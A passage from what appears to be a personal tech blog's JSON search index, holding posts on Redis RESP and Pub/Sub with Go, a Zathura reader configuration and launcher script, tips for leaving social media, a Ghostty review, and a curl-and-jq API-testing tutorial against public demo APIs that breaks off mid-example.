State\u003c/strong\u003e: Independent decisions by both partitions can be hard to reconcile.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eReduced System Reliability\u003c/strong\u003e: The system becomes unpredictable or unusable.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"prevention-techniques-in-docker-swarm\"\u003ePrevention Techniques in Docker Swarm\u003c/h2\u003e\n\u003cp\u003eDocker Swarm uses the following techniques to avoid split-brain scenarios:\u003c/p\u003e","title":"System Design Notes: Split Brain in Docker Swarm"},{"content":"Unlike many web services that use HTTP, Redis uses a custom protocol known as the Redis Serialization Protocol (RESP) for communication between clients and servers.\nWhat is RESP? RESP, or Redis Serialization Protocol, is the wire protocol used by Redis clients (including redis-cli) to communicate with the Redis server. It defines the way data is serialized and transmitted over the network.\nA wire protocol is the formal specification of how data is formatted and exchanged between two systems over a network connection. — Wikipedia RESP is lightweight, efficient, and designed specifically for Redis — but it can be reused in any client-server software.\nRESP vs HTTP Redis does not use HTTP. Instead, it defines its own set of commands and responses via RESP. Here’s how RESP equivalents map to typical HTTP operations:\nHTTP Feature Redis Equivalent GET /resource GET key POST /resource SET key value PUT /resource SET key value, or HSET, JSON.SET (module) DELETE /resource DEL key 200 OK +OK 404 Not Found (nil) 500 Internal Error -ERR \u0026lt;message\u0026gt; 403 Forbidden -NOAUTH Authentication required. Unlike HTTP, RESP is not based on request methods or status codes. Instead, Redis commands and responses follow a minimal and efficient format optimized for performance.\nRESP Characteristics Feature Description Text-based Commands and responses are human-readable (but binary-safe for values). Persistent TCP Communication happens over a persistent TCP connection (default port: 6379). Request/Response Model Clients issue commands (e.g. SET key value) and Redis replies with a response. RESP works over TCP or Unix sockets, not HTTP. You can even telnet into Redis and type RESP commands manually.\nRESP Data Types RESP supports the following basic data types:\nType Prefix Description Simple String + Usually used for status replies. Error - Used to signal errors. Integer : Used to return numeric values (e.g. result of INCR). Bulk String $ String with specified length, can include binary-safe data. Null Bulk $-1 Used to represent a null value. Array * List of other RESP types. Null Array *-1 Used to represent a null array (RESP3). Map (RESP3) % Key-value pairs (available in RESP3). Set (RESP3) ~ Unordered collection of unique elements (RESP3). Boolean (RESP3) # true or false in RESP3. Double (RESP3) , Floating point number in RESP3. Security in RESP Security in RESP is minimal by default, because Redis was designed for trusted local environments. Here’s what that means:\nRESP is plaintext, meaning commands and data are sent unencrypted. Optional password authentication via requirepass. No user roles (before Redis 6). Redis will accept any client connection if the port is reachable. From Redis 6 onward, SSL/TLS support is available (needs to be compiled in), enabling encrypted RESP communication over TLS — just like HTTPS vs HTTP. More on Redis TLS support RESP Versions Version Introduced In Features RESP2 Redis 2.x Basic protocol used by most clients today. Fast and text-based. RESP3 Redis 6.0 Supports richer data types, attribute metadata, and introspection. Introspection in RESP3 allows clients to query metadata about the server or connection, improving diagnostics and tooling.\nSummary Redis’s RESP protocol is a prime example of designing a protocol specifically for performance, simplicity, and predictability. While it lacks the verbosity and feature set of HTTP, it excels in its intended domain — powering fast, efficient key-value operations over a lightweight protocol.\nOfficial RESP Spec: redis.io/docs/latest/develop/reference/protocol-spec Build Your Own Redis (CodeCrafters): codecrafters.io ","permalink":"https://blog.nimendra.online/blog/resp/","summary":"\u003cp\u003eUnlike many web services that use HTTP, Redis uses a custom protocol known as the \u003cstrong\u003eRedis Serialization Protocol (RESP)\u003c/strong\u003e for communication between clients and servers.\u003c/p\u003e\n\u003ch2 id=\"what-is-resp\"\u003eWhat is RESP?\u003c/h2\u003e\n\u003cp\u003eRESP, or \u003cstrong\u003eRedis Serialization Protocol\u003c/strong\u003e, is the \u003cstrong\u003ewire protocol\u003c/strong\u003e used by Redis clients (including \u003ccode\u003eredis-cli\u003c/code\u003e) to communicate with the Redis server. It defines the way data is serialized and transmitted over the network.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eA \u003cstrong\u003ewire protocol\u003c/strong\u003e is the formal specification of how data is formatted and exchanged between two systems over a network connection.\n— \u003ca href=\"https://en.wikipedia.org/wiki/Wire_protocol\" target=\"_blank\" rel=\"noopener\"\u003eWikipedia\u003c/a\u003e\n\u003c/p\u003e","title":"System Design Notes: Redis Serialization Protocol (RESP)"},{"content":"Redis is often described as a data structure server. In addition to being a key-value store, Redis offers features such as caching (like Memcached), queues, and Pub/Sub messaging.\nThis article focuses on the Pub/Sub (publish-subscribe) pattern in Redis, how it works, its characteristics, and how to use it effectively with Go.\nWhat is Redis Pub/Sub? In Redis, a client can publish messages to a named channel, and other clients can subscribe to receive those messages from that channel.\nRedis acts as a message broker — delivering published messages to all connected subscribers of that channel.\nPUBLISHER --[msg]--\u0026gt; Redis --\u0026gt; SUBSCRIBER(S) Unlike message queues or Kafka-like systems, Redis Pub/Sub is synchronous and fire-and-forget. There is no persistence — if no subscriber is connected at the time of publishing, the message is lost.\nPub/Sub System Components Redis Pub/Sub involves three key entities:\nPublisher: Sends messages to a named channel. Subscriber: Listens to one or more channels. Channel: The topic name used to route messages from publishers to subscribers. Example: Think of it like a radio show (Publisher) broadcasting over a frequency (Channel). Listeners (Subscribers) must be tuned in at the same time to hear the message.\nTypes of Pub/Sub Systems Model Description Synchronous Sender and receiver must be connected simultaneously. Redis Pub/Sub uses this. Asynchronous Messages are queued/persisted until receivers are available (e.g., Kafka). Redis Streams, Kafka, RabbitMQ support asynchronous message delivery by persisting messages.\nRedis Pub/Sub with Go Using the go-redis library, Redis Pub/Sub integrates cleanly with Go applications.\nSubscriber Flow Subscribe to a Redis channel:\nsub := client.Subscribe(ctx, \u0026#34;mychannel\u0026#34;) ch := sub.Channel() Wait for messages on ch (a Go channel):\nfor msg := range ch { fmt.Println(\u0026#34;Received:\u0026#34;, msg.Payload) } Redis keeps the connection open and pushes new messages as they arrive.\nPublisher Flow Publish a message:\nclient.Publish(ctx, \u0026#34;mychannel\u0026#34;, \u0026#34;Hello, Redis!\u0026#34;) All subscribers connected to \u0026quot;mychannel\u0026quot; receive the messageinstantly.\nExample Code Publisher.go var ctx = context.Background() func main() { client := redis.NewClient(\u0026amp;redis.Options{ Addr: \u0026#34;localhost:6379\u0026#34;, }) defer client.Close() channel := \u0026#34;mychannel\u0026#34; for i := 1; i \u0026lt;= 5; i++ { message := fmt.Sprintf(\u0026#34;Message %d\u0026#34;, i) err := client.Publish(ctx, channel, message).Err() if err != nil { log.Fatalf(\u0026#34;Publish failed: %v\u0026#34;, err) } log.Printf(\u0026#34;Published: %s\u0026#34;, message) time.Sleep(4 * time.Second) } } Subscriber.go var ctx = context.Background() func main() { client := redis.NewClient(\u0026amp;redis.Options{ Addr: \u0026#34;localhost:6379\u0026#34;, }) defer client.Close() sub := client.Subscribe(ctx, \u0026#34;mychannel\u0026#34;) ch := sub.Channel() for msg := range ch { log.Printf(\u0026#34;Received message: %s\u0026#34;, msg.Payload) } } Summary Redis Pub/Sub is a fast, lightweight, real-time messaging system suited for distributed applications that require low-latency communication without persistence.\nHowever, for mission-critical systems needing durability, retries, and acknowledgments, consider message queues (like RabbitMQ) or streams (like Kafka or Redis Streams).\nReferences Build Your Own Redis (CodeCrafters): codecrafters.io Redis Pub/Sub - Official Docs Redis Pub/Sub In-Depth (Medium) Go Redis Client - GitHub Publish/Subscribe Explanation - StackOverflow ","permalink":"https://blog.nimendra.online/blog/redis-pubsub/","summary":"\u003cp\u003eRedis is often described as a \u003cstrong\u003edata structure server\u003c/strong\u003e. In addition to being a key-value store, Redis offers features such as caching (like Memcached), queues, and \u003cstrong\u003ePub/Sub messaging\u003c/strong\u003e.\u003c/p\u003e\n\u003cp\u003eThis article focuses on the \u003cstrong\u003ePub/Sub (publish-subscribe) pattern in Redis\u003c/strong\u003e, how it works, its characteristics, and how to use it effectively with Go.\u003c/p\u003e\n\u003ch2 id=\"what-is-redis-pubsub\"\u003eWhat is Redis Pub/Sub?\u003c/h2\u003e\n\u003cp\u003eIn Redis, a client can \u003cstrong\u003epublish\u003c/strong\u003e messages to a named channel, and other clients can \u003cstrong\u003esubscribe\u003c/strong\u003e to receive those messages from that channel.\u003c/p\u003e","title":"System Design Notes: Redis Pub/Sub with Go"},{"content":"Once upon a time, my reading flow was uninterrupted. No UI distractions, no sluggish loading times.\nBut then, I took a detour.\nI needed annotations, so I switched to Okular . It did the job, but over time, I realized something, I wasn’t really annotating PDFs much anymore. What I was doing, however, was reading a lot of EPUBs and Research Papers. And here, Okular fell apart. Its EPUB support? Let’s just say, it exists… barely.\nTrying Other EPUB Readers So, I tried:\nFoliate – Beautiful UI, much better EPUB support, but slow. Koodo Reader – Feature-rich, but again… slow. And in the process, I realized: I didn’t want a bloated reader. I wanted speed and focus.\nSo, I’m back to Zathura .\nMy Zathura Workflow I use Zathura with zathura-pdf-mupdf and the Gruvbox theme for a clean, eye-friendly look.\nZathura Reader\nIndex view\nConfigurations and Scripts Here\u0026rsquo;s my zathurarc configuration for a Gruvbox-themed experience:\n# ~/.config/zathurarc # General Settings set guioptions \u0026#34;shv\u0026#34; set page-padding 2 set adjust-open \u0026#34;best-fit\u0026#34; set window-height 3000 set window-width 3000 set scroll-wrap true set scroll-page-aware true set statusbar-home-tilde true set window-title-home-tilde true set statusbar-page-percent true set statusbar-basename true set incremental-search true set selection-clipboard \u0026#34;clipboard\u0026#34; set database \u0026#34;sqlite\u0026#34; # Notification Settings # https://github.com/eastack/zathura-gruvbox set notification-error-bg \u0026#34;rgba(242,229,188,1)\u0026#34; # bg set notification-error-fg \u0026#34;rgba(157,0,6,1)\u0026#34; # bright:red set notification-warning-bg \u0026#34;rgba(242,229,188,1)\u0026#34; # bg set notification-warning-fg \u0026#34;rgba(181,118,20,1)\u0026#34; # bright:yellow set notification-bg \u0026#34;rgba(242,229,188,1)\u0026#34; # bg set notification-fg \u0026#34;rgba(121,116,14,1)\u0026#34; # bright:green # Completion Settings set completion-bg \u0026#34;rgba(213,196,161,1)\u0026#34; # bg2 set completion-fg \u0026#34;rgba(60,56,54,1)\u0026#34; # fg set completion-group-bg \u0026#34;rgba(235,219,178,1)\u0026#34; # bg1 set completion-group-fg \u0026#34;rgba(146,131,116,1)\u0026#34; # gray set completion-highlight-bg \u0026#34;rgba(7,102,120,1)\u0026#34; # bright:blue set completion-highlight-fg \u0026#34;rgba(213,196,161,1)\u0026#34; # bg2 # Index Mode Settings set index-bg \u0026#34;rgba(213,196,161,1)\u0026#34; # bg2 set index-fg \u0026#34;rgba(60,56,54,1)\u0026#34; # fg set index-active-bg \u0026#34;rgba(7,102,120,1)\u0026#34; # bright:blue set index-active-fg \u0026#34;rgba(213,196,161,1)\u0026#34; # bg2 # Input Bar Settings set inputbar-bg \u0026#34;rgba(242,229,188,1)\u0026#34; # bg set inputbar-fg \u0026#34;rgba(60,56,54,1)\u0026#34; # fg # Status Bar Settings set statusbar-bg \u0026#34;rgba(213,196,161,1)\u0026#34; # bg2 set statusbar-fg \u0026#34;rgba(60,56,54,1)\u0026#34; # fg # Highlight Settings set highlight-color \u0026#34;rgba(181,118,20,0.5)\u0026#34; # bright:yellow set highlight-active-color \u0026#34;rgba(175,58,3,0.5)\u0026#34; # bright:orange # Default Colors set default-bg \u0026#34;rgba(242,229,188,1)\u0026#34; # bg set default-fg \u0026#34;rgba(60,56,54,1)\u0026#34; # fg set render-loading true set render-loading-bg \u0026#34;rgba(242,229,188,1)\u0026#34; # bg set render-loading-fg \u0026#34;rgba(60,56,54,1)\u0026#34; # fg # Recolor Book Content set recolor-lightcolor \u0026#34;rgba(242,229,188,1)\u0026#34; # bg set recolor-darkcolor \u0026#34;rgba(60,56,54,1)\u0026#34; # fg set recolor \u0026#34;true\u0026#34; set recolor-keephue \u0026#34;true\u0026#34; # keep original color # Keybindings map r reload map R rotate map c recolor map p print map g goto top map \u0026lt;Return\u0026gt; goto map \u0026lt;C-b\u0026gt; feedkeys \u0026#34;:bmark \u0026#34; map u follow map \u0026lt;C-f\u0026gt; toggle_presentation map [presentation] \u0026lt;C-f\u0026gt; toggle_presentation # Index Mode # https://github.com/alezost/config/blob/master/zathura/zathurarc map [index] i toggle_index map [index] \u0026lt;Tab\u0026gt; navigate_index toggle map [index] \u0026lt;ShiftTab\u0026gt; navigate_index expand-all I use this script to open files.\n#!/bin/bash # Select a book using fd and fzf files=$(fd --follow --type f --extension pdf --extension epub | fzf --height 75% --reverse --no-info --multi --prompt \u0026#34;Select Book/Paper: \u0026#34;) if [[ -n \u0026#34;$files\u0026#34; ]]; then # Open each selected file while IFS= read -r file; do if [[ -f \u0026#34;$file\u0026#34; ]]; then nohup zathura \u0026#34;$file\u0026#34; \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 \u0026amp; disown echo \u0026#34;Opened file: $file\u0026#34; else echo \u0026#34;Unknown selection: $file\u0026#34; fi done \u0026lt;\u0026lt;\u0026lt;\u0026#34;$files\u0026#34; else echo \u0026#34;No selection made.\u0026#34; fi Links:\nMy Linux Config Zathura-Archwiki zathurarc manpage ","permalink":"https://blog.nimendra.online/blog/zathura/","summary":"After trying various readers on Linux, I’m returning to Zathura for its speed, minimal UI, and distraction-free reading, using a customized Gruvbox theme and a script for quick file selection.","title":"Why I'm Going Back to Zathura reader"},{"content":" A page from Keep Going by Austin Kleon\n1. Don’t feed the trolls. Seriously, they thrive on attention. Save your energy for better things.1\nIf someone replies to a troll, they end up becoming a troll themselves.\n\u0026ldquo;You’re going to see a lot of stupid stuff out there and you’re going to feel like you need to correct it. One time I was up late on my laptop and my wife yelled at me, \u0026lsquo;Quit picking fights on Twitter and go make something.\u0026rsquo;\u0026rdquo; – Austin Kleon, Keep Going\n2. Ditch the apps. Uninstall those time-suckers from your phone (or whatever device you can’t put down).Go old school—use the web. And don’t forget an ad-blocker to keep distractions at bay.\n3. Kill the notifications. No buzz, no ding, no stress. Freedom feels amazing.\n4. Say no Short Videos. Short videos might be fun, but they’re stealing your time.\n5. Social media ≠ news. It’s full of misinformation. Stick to proper news sites—even if they’re biased, at least you can pick the bias you prefer!\n6. Celebs and influencers? Meh. They’re here for business, not you. Stop wasting time on them. Unfollow and focus on your own life!\n7. Use incognito mode. It makes you log in every time you close a tab—an extra step that makes social media less tempting.\n\u0026ldquo;The best way to break a bad habit is to make it impractical to do. Increase the friction until you don\u0026rsquo;t even have the option to act.\u0026rdquo; – James Clear, Atomic Habits\n8. Do something awesome instead. Read that book you’ve been meaning to start, learn something new, or pick up a hobby you love.\n9. Contact family the old-fashioned way. Instead of chatting on social media, reach out directly to your family. Nothing beats real, personal connections.\nHere are some tools that helped me stay on track:\nNiagara Launcher SponsorBlock for YouTube uBlock Origin Miniflux RSS Youtube Customization 🗨 Hacker News Discussion last update: 2025-01-15 11:53\nhttps://austinkleon.com/2017/09/28/i-will-not-argue-with-strangers-on-the-internet/ \u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blog.nimendra.online/blog/escaping-social-media/","summary":"My tips to step away from social media","title":"9 Simple Tips to Escaping Social Media"},{"content":"Recently, Ghostty released its first public version, and many are hyped about it. Ghostty is written in the Zig programming language.\nAt the time of writing this article, Ghostty is still in the unstable branch on Manjaro. I used AUR to install it and noticed that it requires the pandoc-cli package to build Ghostty. pandoc-cli has over 100 Haskell dependencies. Instead, install the pandoc-bin package before building Ghostty.\nHere are the features I liked:\nGhostty has a built-in terminal multiplexer feature. It supports tabs. It has ligature support. The font rendering is excellent. It supports image rendering (though I personally don’t use this feature). The main advantage is that Ghostty works without requiring much time to configure using a configuration file.(Ghostty zero-configuration philosophy )\nHere is my configuration to replicate my Alacritty terminal setup:\n(you can find my alacritty config here .)\ntheme = \u0026#34;catppuccin-mocha\u0026#34; font-family = \u0026#34;JetBrainsMono Nerd Font\u0026#34; font-size = 13 gtk-titlebar = false Ghostty with Neovim and Htop\nOverall, it’s a great terminal. However, I’m still using Alacritty with Tmux because I’m already familiar with that setup and feel it’s faster than Ghostty (although I haven’t run any benchmarks). Alacritty doesn’t support image rendering, ligatures, or native terminal multiplexing. If you prefer a feature-rich, zero-configuration terminal, I think Ghostty is the best choice.\nLinks:\nghostty.org/download github.com/ghostty-org/ghostty alacritty.org My Tmux Config ","permalink":"https://blog.nimendra.online/blog/ghostty/","summary":"I\u0026rsquo;ve tried Ghostty, and here are my quick review.","title":"Ghostty First Impression"},{"content":"You know how we developers spend a lot of time working with APIs, right? While tools like Postman are great, sometimes they can feel a bit heavy-handed - you have to launch the app, navigate through the UI, and deal with occasional crashes or sync issues. Not to mention those times when you\u0026rsquo;re SSH\u0026rsquo;d into a server and need to quickly test an endpoint!\nThis is where command-line tools like curl(short for \u0026ldquo;Client URL\u0026rdquo;) and jq come in as your trusty sidekicks! 🦸‍♂️ Think of curl as your Swiss Army knife for making HTTP requests - it\u0026rsquo;s always there in your terminal, ready to help. And jq ? It\u0026rsquo;s like having a magic wand ✨ that turns messy JSON responses into beautifully formatted, readable data that you can actually work with.\nLet me break down why these command-line tools are so valuable:\nSpeed and Efficiency ⚡ No need to switch contexts or launch apps Lightning-fast execution 🏃‍♀️ Perfect for quick API checks during development Automation-Friendly 🤖 Easily integrate into shell scripts Perfect for CI/CD pipelines 🔄 Great for automated testing ✅ Now, about Postman\u0026hellip; While it\u0026rsquo;s an amazing tool, it does have some pain points: 🤔\nTakes up significant system resources 🐌 Can be sluggish to start up Sync issues between devices can be frustrating 😫 Not always available when you need it (like on production servers) 🚫 Collections can get messy and outdated if not maintained well 🗑️ We\u0026rsquo;ll walk through practical examples using a Fake Store API \u0026amp; dummyjson , demonstrating the power and flexibility of these tools for effective API testing.\nCurl + jq 🔧 Get Request curl \u0026#39;https://dummyjson.com/quotes?limit=2\u0026amp;skip=2\u0026#39; | jq Output:\n{ \u0026#34;quotes\u0026#34;: [ { \u0026#34;id\u0026#34;: 3, \u0026#34;quote\u0026#34;: \u0026#34;Thinking is the capital, Enterprise is the way, Hard Work is the solution.\u0026#34;, \u0026#34;author\u0026#34;: \u0026#34;Abdul Kalam\u0026#34; }, { \u0026#34;id\u0026#34;: 4, \u0026#34;quote\u0026#34;: \u0026#34;If You Can\u0026#39;T Make It Good, At Least Make It Look Good.\u0026#34;, \u0026#34;author\u0026#34;: \u0026#34;Bill Gates\u0026#34; } ], \u0026#34;total\u0026#34;: 1454, \u0026#34;skip\u0026#34;: 2, \u0026#34;limit\u0026#34;: 2 } Get verbose output with Additional Details -sS → Combines -s (silent) and -S (show errors) flags, hiding the progress but showing errors if they occur. -X → Specifies the GET method. -v → Display Verbose Output. curl -sS -X GET -v \u0026#39;https://dummyjson.com/quotes?limit=2\u0026amp;skip=2\u0026#39; | jq Output: Click to expand * Host dummyjson.com:443 was resolved. * IPv6: (none) * IPv4: 52.223.46.195, 15.197.246.237, 3.33.193.101, 99.83.183.127 * Trying 52.223.46.195:443... * ALPN: curl offers h2,http/1.1 } [5 bytes data] * TLSv1.3 (OUT), TLS handshake, Client hello (1): } [512 bytes data] * CAfile: /etc/ssl/certs/ca-certificates.crt * CApath: none { [5 bytes data] * TLSv1.3 (IN), TLS handshake, Server hello (2): { [122 bytes data] * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): { [6 bytes data] * TLSv1.3 (IN), TLS handshake, Certificate (11): { [2568 bytes data] * TLSv1.3 (IN), TLS handshake, CERT verify (15): { [264 bytes data] * TLSv1.3 (IN), TLS handshake, Finished (20): { [36 bytes data] * TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): } [1 bytes data] * TLSv1.3 (OUT), TLS handshake, Finished (20): } [36 bytes data] * SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / x25519 / RSASSA-PSS * ALPN: server did not agree on a protocol. Uses default. * Server certificate: * subject: CN=dummyjson.com * start date: Oct 23 23:06:05 2024 GMT * expire date: Jan 21 23:06:04 2025 GMT * subjectAltName: host \u0026#34;dummyjson.com\u0026#34; matched cert\u0026#39;s \u0026#34;dummyjson.com\u0026#34; * issuer: C=US; O=Let\u0026#39;s Encrypt; CN=R10 * SSL certificate verify ok. * Certificate level 0: Public key type RSA (2048/112 Bits/secBits), signed using sha256WithRSAEncryption * Certificate level 1: Public key type RSA (2048/112 Bits/secBits), signed using sha256WithRSAEncryption * Certificate level 2: Public key type RSA (4096/152 Bits/secBits), signed using sha256WithRSAEncryption * Connected to dummyjson.com (52.223.46.195) port 443 * using HTTP/1.x } [5 bytes data] \u0026gt; GET /quotes?limit=2\u0026amp;skip=2 HTTP/1.1 \u0026gt; Host: dummyjson.com \u0026gt; User-Agent: curl/8.10.1 \u0026gt; Accept: */* \u0026gt; { [5 bytes data] * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): { [122 bytes data] * Request completely sent off { [5 bytes data] \u0026lt; HTTP/1.1 200 OK \u0026lt; Report-To: {\u0026#34;group\u0026#34;:\u0026#34;heroku-nel\u0026#34;,\u0026#34;max_age\u0026#34;:3600,\u0026#34;endpoints\u0026#34;:[{\u0026#34;url\u0026#34;:\u0026#34;https://nel.heroku.com/reports?ts=1731089248\u0026amp;sid=e11707d5-02a7-43ef-b45e-2cf4d2036f7d\u0026amp;s=%2BtT7h9s4wR4dYZSpB3E7HlIX8pjNxpIWMhxgIssNMNY%3D\u0026#34;}]} \u0026lt; Reporting-Endpoints: heroku-nel=https://nel.heroku.com/reports?ts=1731089248\u0026amp;sid=e11707d5-02a7-43ef-b45e-2cf4d2036f7d\u0026amp;s=%2BtT7h9s4wR4dYZSpB3E7HlIX8pjNxpIWMhxgIssNMNY%3D \u0026lt; Nel: {\u0026#34;report_to\u0026#34;:\u0026#34;heroku-nel\u0026#34;,\u0026#34;max_age\u0026#34;:3600,\u0026#34;success_fraction\u0026#34;:0.005,\u0026#34;failure_fraction\u0026#34;:0.05,\u0026#34;response_headers\u0026#34;:[\u0026#34;Via\u0026#34;]} \u0026lt; Connection: keep-alive \u0026lt; Access-Control-Allow-Origin: * \u0026lt; X-Dns-Prefetch-Control: off \u0026lt; X-Frame-Options: SAMEORIGIN \u0026lt; Strict-Transport-Security: max-age=15552000; includeSubDomains \u0026lt; X-Download-Options: noopen \u0026lt; X-Content-Type-Options: nosniff \u0026lt; X-Xss-Protection: 1; mode=block \u0026lt; X-Powered-By: Cats on Keyboards \u0026lt; Server: BobTheBuilder \u0026lt; X-Ratelimit-Limit: 100 \u0026lt; X-Ratelimit-Remaining: 99 \u0026lt; Date: Fri, 08 Nov 2024 18:07:28 GMT \u0026lt; X-Ratelimit-Reset: 1731089253 \u0026lt; Content-Type: application/json; charset=utf-8 \u0026lt; Content-Length: 257 \u0026lt; Etag: W/\u0026#34;101-NDFwgjO+/Waza1qMZvvDgnRceXc\u0026#34; \u0026lt; Vary: Accept-Encoding \u0026lt; Via: 1.1 vegur \u0026lt; { [65 bytes data] * Connection #0 to host dummyjson.com left intact { \u0026#34;quotes\u0026#34;: [ { \u0026#34;id\u0026#34;: 3, \u0026#34;quote\u0026#34;: \u0026#34;Thinking is the capital, Enterprise is the way, Hard Work is the solution.\u0026#34;, \u0026#34;author\u0026#34;: \u0026#34;Abdul Kalam\u0026#34; }, { \u0026#34;id\u0026#34;: 4, \u0026#34;quote\u0026#34;: \u0026#34;If You Can\u0026#39;T Make It Good, At Least Make It Look Good.\u0026#34;, \u0026#34;author\u0026#34;: \u0026#34;Bill Gates\u0026#34; } ], \u0026#34;total\u0026#34;: 1454, \u0026#34;skip\u0026#34;: 2, \u0026#34;limit\u0026#34;: 2 } POST Request -H → sets the content-type -d → sends the JSON payload curl -sS-X POST https://fakestoreapi.com/products \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -d \u0026#39;{ \u0026#34;title\u0026#34;: \u0026#34;Raspberry Pi 4\u0026#34;, \u0026#34;price\u0026#34;: 13.5, \u0026#34;description\u0026#34;: \u0026#34;lorem ipsum\u0026#34;, \u0026#34;image\u0026#34;: \u0026#34;https://i.pravatar.cc\u0026#34;, \u0026#34;category\u0026#34;: \u0026#34;electronic\u0026#34; }\u0026#39; | jq Output:\n{ \u0026#34;id\u0026#34;: 21, \u0026#34;title\u0026#34;: \u0026#34;Raspberry Pi 4\u0026#34;, \u0026#34;price\u0026#34;: 13.5, \u0026#34;description\u0026#34;: \u0026#34;lorem ipsum\u0026#34;, \u0026#34;image\u0026#34;: \u0026#34;https://i.pravatar.cc\u0026#34;, \u0026#34;category\u0026#34;: \u0026#34;electronic\u0026#34; } PUT \u0026amp; PATCH Requests curl -sS -X PUT https://fakestoreapi.com/products/21 \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -d \u0026#39;{ \u0026#34;title\u0026#34;: \u0026#34;Raspberry Pi 5\u0026#34;, \u0026#34;price\u0026#34;: 11.1, \u0026#34;description\u0026#34;: \u0026#34;Raspberry Pi 4 ....\u0026#34;, \u0026#34;image\u0026#34;: \u0026#34;https://i.pravatar.cc\u0026#34;, \u0026#34;category\u0026#34;: \u0026#34;electronic\u0026#34; }\u0026#39; | jq Output:\n{ \u0026#34;id\u0026#34;: 21, \u0026#34;title\u0026#34;: \u0026#34;Raspberry Pi 5\u0026#34;, \u0026#34;price\u0026#34;: 11.1, \u0026#34;description\u0026#34;: \u0026#34;Raspberry Pi 4 ...\u0026#34;, \u0026#34;image\u0026#34;: \u0026#34;https://i.pravatar.cc\u0026#34;, \u0026#34;category\u0026#34;: \u0026#34;electronic\u0026#34; } Use with JSON file curl -X PATCH https://fakestoreapi.com/products/21 \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -d @data.json // data.json { \u0026#34;title\u0026#34;: \u0026#34;test product\u0026#34;, \u0026#34;price\u0026#34;: 13.5, \u0026#34;description\u0026#34;: \u0026#34;lorem ipsum set\u0026#34;, \u0026#34;image\u0026#34;: \u0026#34;https://i.pravatar.cc\u0026#34;, \u0026#34;category\u0026#34;: \u0026#34;electronic\u0026#34; } Authentication Get Token --cookie-jar cookies.txt: Saves cookies (e.g., access tokens) to cookies.txt after the request. curl -sS -X POST https://dummyjson.com/auth/login \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ --cookie-jar cookies.txt \\ -d \u0026#39;{ \u0026#34;username\u0026#34;: \u0026#34;emilys\u0026#34;, \u0026#34;password\u0026#34;: \u0026#34;emilyspass\u0026#34;, \u0026#34;expiresInMins\u0026#34;: 30 }\u0026#39; | jq Output:\n{ \u0026#34;accessToken\u0026#34;: \u0026#34;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwidXNlcm5hbWUiOiJlbWlseXMiLCJlbWFpbCI6ImVtaWx5LmpvaG5zb25AeC5kdW1teWpzb24uY29tIiwiZmlyc3ROYW1lIjoiRW1pbHkiLCJsYXN0TmFtZSI6IkpvaG5zb24iLCJnZW5kZXIiOiJmZW1hbGUiLCJpbWFnZSI6Imh0dHBzOi8vZHVtbXlqc29uLmNvbS9pY29uL2VtaWx5cy8xMjgiLCJpYXQiOjE3MzEwOTM0MTIsImV4cCI6MTczMTA5NTIxMn0.LpHYf8Zc7EvVzOkSPkvtQncpdWgIKq7-r9lg6_tszzg\u0026#34;, \u0026#34;refreshToken\u0026#34;: \u0026#34;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwidXNlcm5hbWUiOiJlbWlseXMiLCJlbWFpbCI6ImVtaWx5LmpvaG5zb25AeC5kdW1teWpzb24uY29tIiwiZmlyc3ROYW1lIjoiRW1pbHkiLCJsYXN0TmFtZSI6IkpvaG5zb24iLCJnZW5kZXIiOiJmZW1hbGUiLCJpbWFnZSI6Imh0dHBzOi8vZHVtbXlqc29uLmNvbS9pY29uL2VtaWx5cy8xMjgiLCJpYXQiOjE3MzEwOTM0MTIsImV4cCI6MTczMzY4NTQxMn0.onheFA-QlZwgMbhfoxG4zoFBFBOqGeH9j9jmU89cmRY\u0026#34;, \u0026#34;id\u0026#34;: 1, \u0026#34;username\u0026#34;: \u0026#34;emilys\u0026#34;, \u0026#34;email\u0026#34;: \u0026#34;emily.johnson@x.dummyjson.com\u0026#34;, \u0026#34;firstName\u0026#34;: \u0026#34;Emily\u0026#34;, \u0026#34;lastName\u0026#34;: \u0026#34;Johnson\u0026#34;, \u0026#34;gender\u0026#34;: \u0026#34;female\u0026#34;, \u0026#34;image\u0026#34;: \u0026#34;https://dummyjson.com/icon/emilys/128\u0026#34; Refresh Token curl -sS -X POST https://dummyjson.com/auth/refresh \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ --cookie cookies.txt \\ -d \u0026#39;{ \u0026#34;refreshToken\u0026#34;: \u0026#34;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwidXNlcm5hbWUiOiJlbWlseXMiLCJlbWFpbCI6ImVtaWx5LmpvaG5zb25AeC5kdW1teWpzb24uY29tIiwiZmlyc3ROYW1lIjoiRW1pbHkiLCJsYXN0TmFtZSI6IkpvaG5zb24iLCJnZW5kZXIiOiJmZW1hbGUiLCJpbWFnZSI6Imh0dHBzOi8vZHVtbXlqc29uLmNvbS9pY29uL2VtaWx5cy8xMjgiLCJpYXQiOjE3MzEwOTMzMTgsImV4cCI6MTczMzY4NTMxOH0.rCS4sa4AjKA1buLAqNeOBL7aFBj3Z5ZQPO3ZZIUpLp4\u0026#34;, \u0026#34;expiresInMins\u0026#34;: 30 }\u0026#39; | jq Or\ncurl -sS -X POST https://dummyjson.com/auth/refresh \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ --cookie cookies.txt \\ -d \u0026#39;{ \u0026#34;expiresInMins\u0026#34;: 30 }\u0026#39; | jq Output:\n{ \u0026#34;accessToken\u0026#34;: \u0026#34;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...\u0026#34;, // new accessToken (returned in both response and cookies) \u0026#34;refreshToken\u0026#34;: 